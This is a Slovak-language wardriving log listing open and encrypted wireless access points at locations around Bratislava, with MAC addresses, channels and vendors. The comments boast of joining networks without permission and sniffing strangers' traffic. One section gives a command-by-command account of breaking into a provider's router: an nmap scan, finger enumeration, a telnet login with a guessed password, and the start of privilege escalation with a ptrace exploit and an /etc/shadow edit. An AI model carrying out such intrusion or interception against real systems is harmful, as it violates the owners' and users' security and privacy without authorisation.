lokalita: horsky park, pri pivarni horsky park
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
1234                      00:40:96:44:31:94  10  cisco (aironet)        ap  nie
5022                      00:40:96:3a:54:07  13  cisco (aironet)        ap  nie
metros                    00:60:b3:66:12:a5   5  z-com                  ap  nie
metrom                    00:60:b3:4f:1e:e4  12  z-com                  ap  nie
paleo1                    00:60:b3:16:63:f5  13  z-com                  ap  nie
matrix                    00:60:b3:16:63:ef   9  z-com                  ap  nie
--------------------------------------------------------------------------------
poznamka: nemali sme pri sebe blue-pill na vystupenie z matrixu. na paleo1 behalo 
velke mnozstvo http trafficu.

lokalita: hotel danube
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
EWInchebaPristav          00:02:2d:3e:fe:95   4  agere (lucent) orinoco ap  nie
ZDR                       02:02:2d:4c:5f:13  10  agere (lucent) orinoco ap  ano
EUnetIncheba              00:60:1d:03:63:b9  13  agere (lucent) wavelan ap  nie
mat2                      00:90:4b:08:0b:dc   9  gemtek (d-link)        ap  nie
okatnet                   00:02:78:e1:b1:3a   9  samsung                ap  nie
EUnet Kutlikova Centrum   00:60:1d:1e:b4:f6   6  agere (lucent) wavelan ap  nie
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
5022                      00:40:96:3a:54:07  13  cisco (aironet)        ap  nie
--------------------------------------------------------------------------------
poznamka: v hoteli danube by mohli ponukat free spojenie cez eunet kutlikova. 
my sme sa na to apcko pripojili zo slavina a celkom sa pobavili, viz poznamky nizsie

lokalita: jarosova pri kukurici
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
b0de6a                    00:40:96:34:85:80   4  cisco (aironet)        ap  nie
00ABFF07                  00:02:78:e1:d3:91  12  samsung                ap  nie
PMDUNION                  02:d0:d8:64:00:4f   1                       peer  ano
--------------------------------------------------------------------------------
poznamka: tu sme cakali viac. napriklad take silne omni apcko sis-ky alebo st-cka 
by zahrialo.

lokalita: kamenne namestie
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
wli_001                   00:60:b3:16:1b:35  11 z-com                   ap  nie
wli_003                   00:60:b3:16:31:fe   3 z-com                   ap  nie
dunaj1                    00:02:78:e0:34:9d   1 samsung                 ap  nie
horzqu                    00:02:78:e1:45:f6  10 samsung                 ap  nie
default                   00:90:4b:08:0b:c7   3 gemtek (d-link)         ap  ano
horsec2                   00:02:78:e1:45:4c   4 samsung                 ap  nie
--------------------------------------------------------------------------------

lokalita: ruzinovska ulica, kerametal
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
00ABFF07                  00:02:78:e1:d3:91  12  samsung                ap  nie
007SOU                    00:02:78:e1:d3:f0   3  samsung                ap  nie
CDutar                    00:02:78:e2:00:04   7  samsung                ap  nie
009SOUAP                  00:02:78:e1:ff:f1  13  samsung                ap  nie
sunteq2                   00:90:4b:60:60:db  13  gemtek (d-link)        ap  nie
rainap                    00:02:78:e0:34:af   3  samsung                ap  nie
--------------------------------------------------------------------------------
poznamka: *SOU* je zjavne miestne stredne odborne uciliste kusok od kerametalu.
rainap je zjavne mikrovlnka datalock rainside.

lokalita: koliba, pod vysielacom
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
b0de6a                    00:40:96:34:85:80   4  cisco (aironet)        ap  nie
TECHPRAZSKA               00:90:4b:0b:22:d1   7  gemtek (d-link)        ap  ano
txgrtomil                 00:90:4b:0b:5b:ea   4  gemtek (d-link)        ap  ano
Backup34                  00:10:e7:f5:54:07   7  breezenet              ap  ano
--------------------------------------------------------------------------------

lokalita: krizna, pri slovnaft pumpe
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
tsunami                   00:40:96:34:85:64   6  cisco (aironet)        ap  nie
cyrano                    00:60:b3:16:66:1d   1  z-com                  ap  nie
chtf-kor                  00:04:47:50:11:48   5                         ap  nie
--------------------------------------------------------------------------------
poznamka: chtf je zjavne chemicko-technologicka fakulta stu. na cyrano sme sa 
napichli pri budove chtf:

eth1      IEEE 802.11-DS  ESSID:"cyrano"  Nickname:"HERMES I"
          Mode:Managed  Frequency:2.457GHz  Access Point: 44:44:44:44:44:44  
          Bit Rate:2Mb/s   Tx-Power=15 dBm   Sensitivity:1/3  
          Retry limit:4   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0/92  Signal level:134/153  Noise level:134/153
          Rx invalid nwid:0  Rx invalid crypt:32  Rx invalid frag:6955
          Tx excessive retries:37  Invalid misc:0   Missed beacon:0

eth1      Link encap:UNSPEC  HWaddr 00-02-2D-2E-BA-BE
          inet addr:63.112.169.6  Bcast:63.255.255.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:37984 errors:70458 dropped:0 overruns:0 frame:70457
          TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:5048648 (4.8 Mb)  TX bytes:625024 (610.3 Kb)
          Interrupt:5 Base address:0x100 

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
63.112.169.0    0.0.0.0         255.255.255.0   U     0      0        0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo

lokalita: krizna, hotel kyjev
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
cyrano                    00:60:b3:16:66:1d   1  z-com                  ap  nie
wli_001                   00:60:b3:16:1b:35  11  z-com                  ap  nie 
wli_003                   00:60:b3:16:31:fe   3  z-com                  ap  nie
MadNet_Manderla_Omni      00:c0:02:46:13:80   2                         ap  nie
--------------------------------------------------------------------------------

lokalita: lesna ulica
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
1234                      00:40:96:44:31:94  10  cisco (aironet)        ap  nie
5022                      00:40:96:3a:54:07  13  cisco (aironet)        ap  nie
metros                    00:60:b3:66:12:a5   5  z-com                  ap  nie
metrom                    00:60:b3:4f:1e:e4  12  z-com                  ap  nie
paleo1                    00:60:b3:16:63:f5  13  z-com                  ap  nie
matrix                    00:60:b3:16:63:ef   9  z-com                  ap  nie
metror                    00:60:b3:66:12:a6   8  z-com                  ap  nie
--------------------------------------------------------------------------------

lokalita: majernikova 17, zastavka autobusu
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
WL                        72:de:c0:2e:52:c3   1                       peer  nie
hotspot                   00:90:0e:00:25:33   6                         ap  nie
homeoffice                00:02:2d:30:5b:60  11  agere(lucent)orinoco   ap  ano
sturak                    02:02:2d:0e:89:97   9  agere(lucent)orinoco peer  ano
12121212                  22:00:e4:02:f4:02   3                       peer  nie
EUnet STV Omni            00:60:1d:f6:7c:2d   9  agere (lucent) wavelan ap  nie
HRAD2DD                   00:02:78:e1:d4:28   4  samsung                ap  nie
borik                     00:60:b3:16:66:0a   9  z-com                  ap  nie
DMC-BA                    00:02:2d:1f:7a:13   7  agere(lucent)orinoco   ap  nie
-------------------------------------------------------------------------------

lokalita: matusova 17
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
DMC-BA                    00:02:2d:1f:7a:13   7  agere(lucent)orinoco   ap  nie
CDkramareAP               00:02:78:e1:ff:f2   3  samsung                ap  nie
Academia                  00:40:96:44:8a:ab   5  cisco (aironet)        ap  nie
--------------------------------------------------------------------------------

lokalita: mileticovam, pri trznici
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
CDICON02                  00:60:b3:4f:1c:2a   2  z-com                  ap  nie
Andrej Network            00:02:2d:07:c4:c9   1  agere(lucent)orinoco   ap  nie
postelap                  00:02:78:e1:d3:bf  13  samsung                ap  nie
--------------------------------------------------------------------------------

lokalita: mileticova - trnavska
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
00ABFF07                  00:02:78:e1:d3:91  12  samsung                ap  nie
CASABLANCA_KOV3           02:02:2d:4f:15:b2  11  agere(lucent)orinoco   ap  ano
cdicon                    00:02:78:e1:d4:2e   8  samsung                ap  nie
TeleViaWireless2          00:60:1d:21:dd:a8  13  agere (lucent) wavelan ap  nie
1034                      00:40:96:44:2a:d3  10  cisco (aironet)        ap  nie
00AB                      00:60:b3:4f:02:4a   7  z-com                  ap  nie
wlanba1                   00:60:b3:16:5c:d9  11  z-com                  ap  nie
waskol                    00:90:4b:0e:cd:e7   3  gemtek(d-link)         ap  nie
TeleViaWireless           00:60:1d:21:dc:bb   2  agere (lucent) wavelan ap  nie
5022                      00:40:96:3a:54:07  13  cisco (aironet)        ap  nie
textpalkov                00:90:4b:0b:5b:f6   4  gemtek(d-link)         ap  ano
realnetpbly               4e:03:d5:00:e2:02   6                       peer  nie
sibirska                  00:90:4b:0d:ce:3f  13  gemtek(d-link)         ap  nie
metrom                    00:60:b3:4f:1e:e4  12  z-com                  ap  nie
--------------------------------------------------------------------------------
poznamka: na wlanba1 bezalo velke mnozstvo http trafficu. akurat niekto searchoval 
google. napichli sme sa na neho na parkovisku pri rozhlase. tu su sietove udaje:

eth1      IEEE 802.11-DS  ESSID:"wlanba1"  Nickname:"HERMES I"
          Mode:Managed  Frequency:2.462GHz  Access Point: 00:60:B3:16:5C:D9  
          Bit Rate:2Mb/s   Tx-Power=15 dBm   Sensitivity:1/3  
          Retry limit:4   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:8/92  Signal level:-90 dBm  Noise level:-98 dBm
          Rx invalid nwid:0  Rx invalid crypt:15  Rx invalid frag:6953
          Tx excessive retries:35  Invalid misc:0   Missed beacon:0

eth1      Link encap:UNSPEC  HWaddr 00-02-2D-2E-BA-BE
          inet addr:192.168.2.109  Bcast:192.168.2.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:37734 errors:67241 dropped:0 overruns:0 frame:67240
          TX packets:4458 errors:34 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:4975543 (4.7 Mb)  TX bytes:619264 (604.7 Kb)
          Interrupt:5 Base address:0x100 

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo

lokalita: mileticova - kosicka
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
CDICON02                  00:60:b3:4f:1c:2a   2  z-com                  ap  nie
postelap                  00:02:78:e1:d3:bf  13  samsung                ap  nie
Andrej Network            00:02:2d:07:c4:c9   1  agere(lucent)orinoco   ap  nie
txgrtomil                 00:90:4b:0b:5b:ea   4  gemtek (d-link)        ap  ano
milnapal                  00:90:4b:0b:5b:74   9  gemtek(d-link)         ap  ano
textpalkov                00:90:4b:0b:5b:f6   4  gemtek(d-link)         ap  ano
bct                       00:02:78:e1:43:e1  11  samsung                ap  nie
ssc-pd                    00:02:78:e0:32:c9  13  samsung                ap  nie
00ABFF07                  00:02:78:e1:d3:91  12  samsung                ap  nie
cdicon                    00:02:78:e1:d4:2e   8  samsung                ap  nie
1034                      00:40:96:44:2a:d3  10  cisco (aironet)        ap  nie
CASABLANCA_KOVTECH        02:02:2d:52:0a:32  13  agere(lucent)orinoco peer  ano
00AB                      00:60:b3:4f:02:4a   7  z-com                  ap  nie
gasss                     00:02:78:e0:e3:28  12  samsung                ap  nie
--------------------------------------------------------------------------------

lokalita: mlynska dolina pod lafranconi mostom
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
metror                    00:60:b3:66:12:a6   8  z-com                  ap  nie
DMC-BA                    00:02:2d:1f:7a:13   7  agere(lucent) orinoco  ap  nie
--------------------------------------------------------------------------------

lokalita: most snp
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
5022                      00:40:96:3a:54:07  13  cisco (aironet)        ap  nie
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
SAVJULS                   00:40:96:34:e3:1c  10  cisco (aironet)        ap  nie
TECHPRAZSKA               00:90:4b:0b:22:d1   7  gemtek (d-link)        ap  ano
EUnet Kutlikova Centrum   00:60:1d:1e:b4:f6   6  agere (lucent) wavelan ap  nie
--------------------------------------------------------------------------------
poznamka: pod mostom snp sme zastali na parkovisku oproti restauracii leberfinger. 
trochu sme vyplasili taku pettingujucu dvojicu vo vedlajsom zaparkovanom aute;
treba uznat ze sme vyzerali podivne a bola uz aj pozdna nocna hodina. no ale k veci, 
prijemnych 256kb/s nam na pockanie dodal eunet az z dalekeho technopolu:

eth1      IEEE 802.11-DS  ESSID:"EUnet Kutlikova Centrum"  Nickname:"HERMES I"
          Mode:Managed  Frequency:2.437GHz  Access Point: 00:60:1D:1E:B4:F6  
          Bit Rate:1Mb/s   Tx-Power=15 dBm   Sensitivity:1/3  
          Retry limit:4   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:4/92  Signal level:-89 dBm  Noise level:-93 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:32
          Tx excessive retries:213  Invalid misc:0   Missed beacon:0

eth1      Link encap:UNSPEC  HWaddr 00-02-2D-2E-BA-BE
          inet addr:194.1.174.3  Bcast:194.1.174.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:10739 errors:8628 dropped:0 overruns:0 frame:8107
          TX packets:1030 errors:209 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:3698111 (3.5 Mb)  TX bytes:325572 (317.9 Kb)
          Interrupt:5 Base address:0x100 

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
194.1.174.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo
0.0.0.0         194.1.174.1     0.0.0.0         UG    0      0        0 eth1

lokalita: saratovska
zial z tejto lokality nemame zoznam sieti, sem do dubravky sme isli ako na poslednu 
lokalitu cestou domov. na zastavke autobusu saratovska 2 sme sa napichli na siet 
metrod:

eth1      IEEE 802.11-DS  ESSID:"metrod"  Nickname:"HERMES I"
          Mode:Managed  Frequency:2.462GHz  Access Point: 00:60:B3:66:38:A4  
          Bit Rate:1Mb/s   Tx-Power=15 dBm   Sensitivity:1/3  
          Retry limit:4   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:12/92  Signal level:-84 dBm  Noise level:-96 dBm
          Rx invalid nwid:0  Rx invalid crypt:3275  Rx invalid frag:74
          Tx excessive retries:1102  Invalid misc:0   Missed beacon:0

eth1      Link encap:Ethernet  HWaddr 00:02:2D:2E:BA:BE
          inet addr:62.168.108.212  Bcast:62.255.255.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:31309 errors:16064 dropped:0 overruns:0 frame:15447
          TX packets:6647 errors:102046 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:11998952 (11.4 Mb)  TX bytes:1265135 (1.2 Mb)
          Interrupt:5 Base address:0x100 

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
62.168.108.0    0.0.0.0         255.255.255.0   U     0      0        0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo
0.0.0.0         62.168.108.210  0.0.0.0         UG    0      0        0 eth1

noo a potom nastala pekna vypapavka - root na routovacom linuxe do 2-3 minut 
od prvotneho pripojenia na siet. nmap na adresu 62.168.108.209 ukazal kopec 
volnych portov, takze nasledovalo:

# finger grid@62.168.108.209 
[62.168.108.209]
login: root
Directory: /root
Last login Wed Nov 13 01:47 (CET) on pts/1 from sky.grid.sk
No mail.
No Plan.
#finger grid@62.168.108.209 
Login: grid
Directory: /home/grid
Never logged in.
No mail.
No Plan.
# telnet 62.168.108.209 
Connected to 62.168.108.209.
Escape character is '^]'.

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
login: root
Password:  (skusili sme heslo grid)
Login incorrect

login: grid
Password:  (skusili sme heslo grid)
[grid@rep grid]$ 

a voila boli sme dnuka.
potom este male sondovanie...

[grid@rep mars_nwe]$ /usr/sbin/traceroute 195.168.3.1
traceroute to 195.168.3.1 (195.168.3.1), 30 hops max, 38 byte packets
 1  b-b.grid.sk (62.168.120.146)  15.018 ms  11.940 ms  7.420 ms
 2  k-m.grid.sk (62.168.120.177)  15.149 ms  3.867 ms  3.548 ms
 3  a-s.grid.sk (62.168.120.129)  8.410 ms *  11.311 ms

[grid@rep mars_nwe]$ telnet 62.168.120.146
Trying 62.168.120.146...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.177
Trying 62.168.120.177...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.129
Trying 62.168.120.129...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ 
[grid@rep mars_nwe]$ ls -al

ako uz bolo hore spomenute baterky na maniacovom notebooku dosli v
najnevhodnejsej chvili - pri editacii /etc/shadow na tomto mikrovlnnom
routri [ptrace exploit sme tahali samozrejme po luxusnom 256kbps mikrovlnnom
konekte] :) samozrejme hned sme pripli aj antoniov notebook, ale kym sa o5
dostal na ten router, tak notebook zdochol aj jemu - proste murphy sa nam
zubil do xichtu a odkazoval nam, ze o tretej rano by uz bolo nacim ist spat :)
co by ale bol hriech nespomenut je to, ze "provider" inkriminovanej wireless
siete mal na vsetkych interfejsoch pustene sniffre a poctivo logoval cely
traffic (takze ked si vyberate ISP, tak rozmyslajte aj nad tym ktoreho
si vyberiete a co mu nechate citat :) pripadne aj hocikomu okoloiducemu v
pripade ze konfiguracia mw zariadeni bola odflaknuta).

lokalita: slavin - misikova ulica
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
Technologies              00:60:b3:4f:04:cc  13  z-com                  ap  nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76   1  agere(lucent) wavelan  ap  nie
bct1                      00:02:78:e0:2b:07  11  samsung                ap  nie
dcc                       00:60:b3:4f:04:da   9  z-com                  ap  nie
wli_001                   00:60:b3:16:1b:35  11  z-com                  ap  nie 
wli_004                   00:90:4b:0b:5b:9b  13  gemtek (d-link)        ap  nie
default                   00:60:b3:10:05:a0  13  z-com                peer  nie
5a51ee                    00:40:96:29:db:28  10  cisco (aironet)        ap  nie
Backup34                  00:10:e7:f5:54:07   7  breezenet              ap  ano
postelap                  00:02:78:e1:d3:bf  13  samsung                ap  nie
--------------------------------------------------------------------------------

lokalita: slavin
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
MadNetMediaOmni           00:c0:02:46:15:74   7                         ap  nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76   1  agere(lucent) wavelan  ap  nie
tsunami                   00:40:96:34:85:64   6  cisco (aironet)        ap  nie
wli_001                   00:60:b3:16:1b:35  11  z-com                  ap  nie
dunaj1                    00:02:78:e0:34:9d   1  samsung                ap  nie
zipp                      00:02:78:e1:45:46   1  samsung                ap  nie
Technologies              00:60:b3:4f:04:cc  13  z-com                  ap  nie
EUnet Kutlikova Centrum   00:60:1d:1e:b4:f6   6  agere (lucent) wavelan ap  nie
--------------------------------------------------------------------------------

lokalita: stara vinarska cesta
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
dcc                       00:60:b3:4f:04:da   9  z-com                  ap  nie
EUnet Kutlikova Centrum   00:60:1d:1e:b4:f6   6  agere (lucent) wavelan ap  nie
dunaj1                    00:02:78:e0:34:9d   1  samsung                ap  nie
finger                    00:02:78:e1:10:36   9  samsung                ap  nie
SAVJULS                   00:40:96:34:e3:1c  10  cisco (aironet)        ap  nie
wli_001                   00:60:b3:16:1b:35  11  z-com                  ap  nie
--------------------------------------------------------------------------------
poznamky: tu sme chvilu pobudli pripojeni na "EUnet Kutlikova Centrum". na sieti 
bola cula prevadzka, tu su parametre pripojenia:

eth1      IEEE 802.11-DS  ESSID:"EUnet Kutlikova Centrum"  Nickname:"HERMES I"
          Mode:Managed  Frequency:2.437GHz  Access Point: 00:60:1D:1E:B4:F6  
          Bit Rate:1Mb/s   Tx-Power=15 dBm   Sensitivity:1/3  
          Retry limit:4   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality:3/92  Signal level:-88 dBm  Noise level:-92 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:22
          Tx excessive retries:117  Invalid misc:0   Missed beacon:0

eth1      Link encap:UNSPEC  HWaddr 00-02-2D-2E-BA-BE
          inet addr:194.1.174.5  Bcast:194.1.174.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:6605 errors:2660 dropped:0 overruns:0 frame:2660
          TX packets:893 errors:205760 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:3649690 (3.4 Mb)  TX bytes:153056 (149.4 Kb)
          Interrupt:5 Base address:0x100 

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
194.1.174.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo
0.0.0.0         194.1.174.1     0.0.0.0         UG    0      0        0 eth1

za poznamku tiez stoji ze sa dal sniffovat dost culy traffic, dokonca sme spoznali 
irc traffic jedneho znameho. pripadali sme si ako keby sme vkracali do serverovne 
eunetu a strcili si kabel do nejakeho velkeho hubu... 

lokalita: namestie snp
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
dunaj1                    00:02:78:e0:34:9d   1  samsung                ap  nie
hozsvor                   00:02:78:e0:34:bc   7  samsung                ap  nie
horsec2                   00:02:78:e1:45:4c   4  samsung                ap  nie
My Wireless Network A     00:02:2d:51:06:e1   3  agere (lucent) orinoco ap  nie
wli_001                   00:60:b3:16:1b:35  11  z-com                  ap  nie
wli_003                   00:60:b3:16:31:fe   3  z-com                  ap  nie
horzqu                    00:02:78:e1:45:f6  10  samsung                ap  nie
--------------------------------------------------------------------------------

lokalita: tomasikova - nevadzova, pri televizii luna
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
lunar                     00:90:4b:08:0c:9f   7  gemtek (d-link)        ap  ano
CDutar                    00:02:78:e2:00:04   7  samsung                ap  nie
-------------------------------------------------------------------------------

lokalita: petrzka - pred tpd
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
vrakuna-imc               00:02:78:e1:d3:ff  12  samsung                ap  nie
EWInchebaPristav          00:02:2d:3e:fe:95   4  agere (lucent) orinoco ap  nie
tpd-ap                    00:02:78:e1:ff:f4  13  samsung                ap  nie
--------------------------------------------------------------------------------
poznamka: vonku pred obchodnym domom tpd bol super signal na siet tpd-ap. behalo 
tam viacero sieti:

192.168.x.x
195.168.3.2 [rovnake data ako na kolibe]
10.x.x.x siet

lokalita: pionierska
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
metro                     00:40:96:24:bf:f3   7  cisco (aironet)        ap  nie
sibirska                  00:90:4b:0d:ce:3f  13  gemtek(d-link)         ap  nie
TeleViaWireless2          00:60:1d:21:dd:a8  13  agere (lucent) wavelan ap  nie
TeleViaWireless           00:60:1d:21:dc:bb   2  agere (lucent) wavelan ap  nie
cdicon                    00:02:78:e1:d4:2e   8  samsung                ap  nie
tsunami                   00:40:96:34:85:64   6  cisco (aironet)        ap  nie
blabla                    00:60:b3:16:84:cf   3  z-com                  ap  nie
--------------------------------------------------------------------------------

lokalita: parkovisko na streche polusu
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
racsz                     02:02:65:3b:6c:3b   3                       peer  nie
istro1                    00:02:78:e0:34:86   7  samsung                ap  nie
b0de6a                    00:40:96:38:3f:02   4  cisco (aironet)        ap  nie
ssek-tr                   00:02:78:e0:33:6f  12  samsung                ap  nie
--------------------------------------------------------------------------------

lokalita: parkovisko na streche polusu - blizsie k administrativnej budove
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
tomas0                    00:02:78:e2:00:31   8  samsung                ap  nie
racsz                     02:02:65:3b:6c:3b   3                       peer  nie
ssek-tr                   00:02:78:e0:33:6f  12  samsung                ap  nie
tomas1                    00:02:78:e1:44:17   9  samsung                ap  nie
--------------------------------------------------------------------------------
poznamka: nooo cakali sme wlanku ibm alebo eurotelu :(

lokalita: prazska ulica
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
00AB                      00:60:b3:4f:02:4a   7  z-com                  ap  nie
PRAVA                     00:90:4b:08:0b:d6  11  gemtek (d-link)        ap  nie
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
1234                      00:40:96:44:31:94  10  cisco (aironet)        ap  nie
5022                      00:40:96:3a:54:07  13  cisco (aironet)        ap  nie
5a51ee                    00:40:96:29:db:28  10  cisco (aironet)        ap  nie
--------------------------------------------------------------------------------

lokalita: prievozska - bajkalska
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
CDutar                    00:02:78:e2:00:04   7  samsung                ap  nie
grtostav                  00:90:4b:0b:5c:47  11  gemtek (d-link)        ap  ano
txgrtobaj                 00:90:4b:0b:5c:14   6  gemtek (d-link)        ap  ano
txgrtomil                 00:90:4b:0b:5b:ea   4  gemtek (d-link)        ap  ano
horzqu                    00:02:78:e1:45:f6  10  samsung                ap  nie
zse3                      00:02:78:e0:b3:d1   3  samsung                ap  nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76   1  agere(lucent) wavelan  ap  nie
EuroWeb Bajkalska East    00:60:1d:f6:7b:72  12  agere(lucent) wavelan  ap  nie
EuroWeb Bajkalska Omni    00:60:1d:04:06:4f   1  agere(lucent) wavelan  ap  nie
EWInchebaPristav          00:02:2d:3e:fe:95   4  agere(lucent) orinoco  ap  nie
--------------------------------------------------------------------------------

lokalita: prievozska - business centrum
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
grtostav                  00:90:4b:0b:5c:47  11  gemtek (d-link)        ap  ano
ANY                       00:02:2d:00:82:d0   7  agere(lucent) orinoco  ap  nie
bct                       00:02:78:e1:43:e1
zse3                      00:02:78:e0:b3:d1   3  samsung                ap  nie
txgrtobaj                 00:90:4b:0b:5c:14   6  gemtek (d-link)        ap  ano
txgrtomil                 00:90:4b:0b:5b:ea   4  gemtek (d-link)        ap  ano
--------------------------------------------------------------------------------

lokalita: majernikova - pribisova
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
sturak                    02:02:2d:0e:89:97   9  agere(lucent)orinoco peer  ano
EUnet STV Omni            00:60:1d:f6:7c:2d   9  agere (lucent) wavelan ap  nie
vran                      00:90:4b:0b:5c:a5   6  gemtek (d-link)        ap  ano
freeehr                   00:02:78:e0:34:ba   8  samsung                ap  nie
borik                     00:60:b3:16:66:0a   9  z-com                  ap  nie
WL                        72:de:c0:2e:52:c3   1                       peer  nie
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
hradport4                 00:02:78:e1:d3:a9  12  samsung                ap  nie
PRIFUKAP                  00:02:78:e0:b3:90   5  samsung                ap  nie
18181818                  a6:01:7d:00:94:03  11                       peer  nie
zad-mat                   00:02:78:e1:d3:b5   2  samsung                ap  nie
EUnet Petrzalka East      00:02:2d:09:1b:1b   1  agere(lucent)orinoco   ap  nie
freee                     00:02:78:e0:34:21   2  samsung                ap  nie
vran2                     00:90:4b:08:0b:c0   1  gemtek (d-link)        ap  ano
imc-mat-ap                00:02:78:e1:d3:b6   7  samsung                ap  nie
mat3                      00:90:4b:08:0c:81  11  gemtek (d-link)        ap  nie
12121212                  22:00:e4:02:f4:02   3                       peer  nie
martineg                  00:02:78:e1:10:23   1  samsung                ap  nie
HRAD2DD                   00:02:78:e1:d4:28   4  samsung                ap  nie
OrinocoAP                 00:02:2d:2c:ea:59   7  agere(lucent)orinoco   ap  nie
--------------------------------------------------------------------------------

lokalita: stary most
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
horsec2                   00:02:78:e1:45:4c   4 samsung                 ap  nie
EWInchebaPristav          00:02:2d:3e:fe:95   4  agere(lucent) orinoco  ap  nie
5022                      00:40:96:3a:54:07  13  cisco (aironet)        ap  nie
dcc                       00:60:b3:4f:04:da   9  z-com                  ap  nie
SAVJULS                   00:40:96:34:e3:1c  10  cisco (aironet)        ap  nie
hrad                      00:02:78:e1:45:21   1  samsung                ap  nie
zse3                      00:02:78:e0:b3:d1   3  samsung                ap  nie
vrakuna-imc               00:02:78:e1:d3:ff  12  samsung                ap  nie
6044                      00:40:96:56:f7:20  13  cisco (aironet)        ap  nie
mat1                      00:90:4b:08:0c:70   6  gemtek (d-link)        ap  nie
--------------------------------------------------------------------------------

lokalita: stromova - pri siemense
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
WaveLAN Network           00:02:a5:2d:a2:d9  10                         ap  ano
Inoteska                  02:90:87:c7:b5:bd   9                       peer  nie
--------------------------------------------------------------------------------

lokalita: teslova
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
